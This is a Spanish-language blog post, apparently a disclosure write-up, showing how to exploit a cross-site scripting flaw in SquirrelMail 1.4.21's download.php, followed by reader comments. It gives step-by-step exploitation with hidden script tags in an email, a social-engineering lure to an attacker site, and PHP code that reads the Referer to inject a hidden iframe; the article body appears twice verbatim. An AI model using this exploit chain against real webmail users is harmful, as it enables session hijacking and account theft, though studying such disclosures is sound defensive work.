Jugando con un XSS en Squirrelmail 1.4.21
En un servicio hosting gratuito que proporciona servicio webmail con SquirrelMail se abrió una cuenta y se creó un usuario de correo. Se han realizado pruebas sobre otros sistemas con SquirrelMail en distintas versiones y se han obtenido los mismos resultados. Las pruebas, para estos ejemplos se realizaron con Internet Explorer 8. La versión de SquirrelMail en los ejemplos es la 1.4.21.
Figura 1: Squirrelmail 1.4.21 en Internet Explorer 8
Como el correo se abre en un FRAME, se abre el enlace en una nueva pestaña, con objeto de poder ver y modificar las URLs de forma sencilla y, para probar si ejecuta scripts, se envía un correo y se mira si se puede ejecutar JavaScript desde el cuerpo del mensaje:
Figura 2: Visualización fuera de frame y envío de prueba 1
El mensaje se recibe y la URL para verlo es:
http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX
&passed_id=1&startMessage=1
Visitando esta URL no se ejecuta el código JavaScript. Ahora bien, si se visita la siguiente URL para descargarlo:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=1&ent_id=1&mailbox=INBOX
Nótese que el passed_id es igual al de la URL del mensaje. Por lo demás, ent_id debe valer 1 y mailbox debe ser INBOX. Se puede comprobar que, al visitar la nueva URL, se ejecutan los tres scripts insertados:
Figura 3: Ejecución de Scripts
El bug puede ser explotado como sigue:
1.- Se crea un mensaje de correo que contenga tags que en una página web causarían la ejecución de uno o varios scripts. Estos tags deberían estar por la parte final del mensaje o en un sitio que no sea fácil de ver para el usuario atacado. En una zona claramente visible, se inserta un enlace a http://sitiomalicioso.example.com. En la siguiente imagen se muestra un ejemplo en la que se ha usado un servidor web instalado en localhost.
Figura 4: Construcción del mensaje de correo electrónico con el ataque
2.- Cuando el usuario recibe el mensaje, la URL se ha convertido en un enlace. Se consigue que el usuario haga clic en él usando, por ejemplo, técnicas de ingeniería social.
Figura 6: Correo enviado a la víctima
3.- Al recibir la visita, sitiomalicioso.example.com analiza la petición y, a través de la cabecera “Referer”, determina la URL correspondiente al mensaje. De ella se obtiene el valor del parámetro passed_id
4.- sitiomalicioso.example.com genera dinámicamente una página que contenga un iframe oculto cuyo src sea:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=[valor obtenido en el paso anterior]&ent_id=1&mailbox=INBOX
El siguiente código podría ser usado para esta tarea:
<?php
$referer= $_SERVER['HTTP_REFERER'];
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
$url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=1&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=0 height=0 ></iframe>';
?>
5.- El usuario recibe la página. Entonces el IFRAME carga la URL y el script se ejecuta.
Figura 6: Script en ejecución
NOTA: Si SquirrelMail funciona sobre https, sitiomalicioso.example.com debería soportar https y tener un certificado válido. En otro caso, no se enviaría la cabecera “Referer”. El enlace del cuerpo del mensaje debería llevar a https:// sitiomalicioso.example.com
Autor: Enrique Rando
Figura 1: Squirrelmail 1.4.21 en Internet Explorer 8
Como el correo se abre en un FRAME, se abre el enlace en una nueva pestaña, con objeto de poder ver y modificar las URLs de forma sencilla y, para probar si ejecuta scripts, se envía un correo y se mira si se puede ejecutar JavaScript desde el cuerpo del mensaje:
Figura 2: Visualización fuera de frame y envío de prueba 1
El mensaje se recibe y la URL para verlo es:
http://webmail1.freehostingnoads.net/squirrelmail/src/read_body.php?mailbox=INBOX
&passed_id=1&startMessage=1
Visitando esta URL no se ejecuta el código JavaScript. Ahora bien, si se visita la siguiente URL para descargarlo:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=1&ent_id=1&mailbox=INBOX
Nótese que el passed_id es igual al de la URL del mensaje. Por lo demás, ent_id debe valer 1 y mailbox debe ser INBOX. Se puede comprobar que, al visitar la nueva URL, se ejecutan los tres scripts insertados:
Figura 3: Ejecución de Scripts
El bug puede ser explotado como sigue:
1.- Se crea un mensaje de correo que contenga tags que en una página web causarían la ejecución de uno o varios scripts. Estos tags deberían estar por la parte final del mensaje o en un sitio que no sea fácil de ver para el usuario atacado. En una zona claramente visible, se inserta un enlace a http://sitiomalicioso.example.com. En la siguiente imagen se muestra un ejemplo en la que se ha usado un servidor web instalado en localhost.
Figura 4: Construcción del mensaje de correo electrónico con el ataque
2.- Cuando el usuario recibe el mensaje, la URL se ha convertido en un enlace. Se consigue que el usuario haga clic en él usando, por ejemplo, técnicas de ingeniería social.
Figura 6: Correo enviado a la víctima
3.- Al recibir la visita, sitiomalicioso.example.com analiza la petición y, a través de la cabecera “Referer”, determina la URL correspondiente al mensaje. De ella se obtiene el valor del parámetro passed_id
4.- sitiomalicioso.example.com genera dinámicamente una página que contenga un iframe oculto cuyo src sea:
http://webmail1.freehostingnoads.net/squirrelmail/src/download.php?
passed_id=[valor obtenido en el paso anterior]&ent_id=1&mailbox=INBOX
El siguiente código podría ser usado para esta tarea:
<?php
$referer= $_SERVER['HTTP_REFERER'];
$my_array = explode('/', $referer);
$elements = count($my_array);
$url = $my_array[0];
for ($i = 1; $i < $elements - 1; $i ++)
$url = $url . '/' . $my_array[$i];
$url = $url . '/download.php?&ent_id=1&mailbox=INBOX&passed_id=';
$position = strpos($referer, 'passed_id=');
$value = substr($referer, $position+10);
$my_array = explode('&', $value);
$url = $url . $my_array[0];
echo '<iframe src="' . $url . '" width=0 height=0 ></iframe>';
?>
5.- El usuario recibe la página. Entonces el IFRAME carga la URL y el script se ejecuta.
Figura 6: Script en ejecución
NOTA: Si SquirrelMail funciona sobre https, sitiomalicioso.example.com debería soportar https y tener un certificado válido. En otro caso, no se enviaría la cabecera “Referer”. El enlace del cuerpo del mensaje debería llevar a https:// sitiomalicioso.example.com
Autor: Enrique Rando
9 comentarios:
Hola Maligno, funcionaría esto también si el código introducido es por ejemplo código PHP ?
Quiero decir, no le veo la utilidad a este XSS si solo puedes ejecutar JS ... llámame "novato" o "ingenuo" (que lo soy) pero no le veo la gracia :S
Soy el de antes, he estado leyendo un poco y veo que hay varias cosas "oscuras" sobre todo relacionadas con las cookies y las sesiones del usuario. Podrías ampliar un poco sobre lo que se podría llegar a hacer ? (A modo de aprendizaje :) porque nunca me he preocupado demasiado de ese tipo de XSS en las webs que he hecho)
Tranquilo anónimo, nadie se va a intersar por las webs que has hecho en robarte las credenciales...
Con la reforma del código penal y esto, no podrías terminar en la cárcel? Ya sean persistentes o no, se puede trastear con XSS actualmente?
lo he probado en un server que tengo, y anda maravillosamente.....
Ahora viendolo del otro lado...decis al final que poniendolo en https, cambia la cabecera del mensaje y podria evistarse el ataque?
o hay que hacer/esperar un parche para el squirrelmail soft libre?
que puede que tarde no?? segun tus experiencias con los buenos.....del lado del bien, digo
bromas....y saludos desde buenos aires, chema
Hola, Alexa. Soy Enrique.
A ver si soy capaz de resumir lo del HTTPS en pocas palabras.
El RFC 2616 dice que una petición HTTP no debe recibir nunca un Referer de un protocolo seguro:
"Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request if the referring page was transferred with a secure protocol".
Por eso, si el squirrelmail funciona sobre HTTPS, el enlace malicioso del correo también debe usar HTTPS. En caso contrario, el código PHP del artículo no recibirá el Referer, no podrá determinar el passed_id, y no se ejecutarán los scripts.
Hay otro problema a tener en cuenta: Si el certificado del sitio malicioso no es válido, al usuario le saldrá una pantalla que le avisará y le preguntará qué hacer. Aunque el usuario decida visitar la página, el Referer se habrá perdido en este proceso.
Eso sí: si, durante la misma sesión, se hace clic en el enlace del correo por segunda vez, puesto que ya se validó antes el certificado erróneo, IE no preguntará nada y se ejecutarán los scripts.
Saludos,
Lo acabo de probar en squirrelmail 1.4.13 y anda de lujo.
Probado en google chrome 8 y no va!
Probado en internet explorer 8 y si :D
@anónimo, en Chrome y FF hay que hacer una ligera modificación y sí va. Lo voy a publicar esta semana que ya lo hizo Enrique...
Saludos!
Publicar un comentario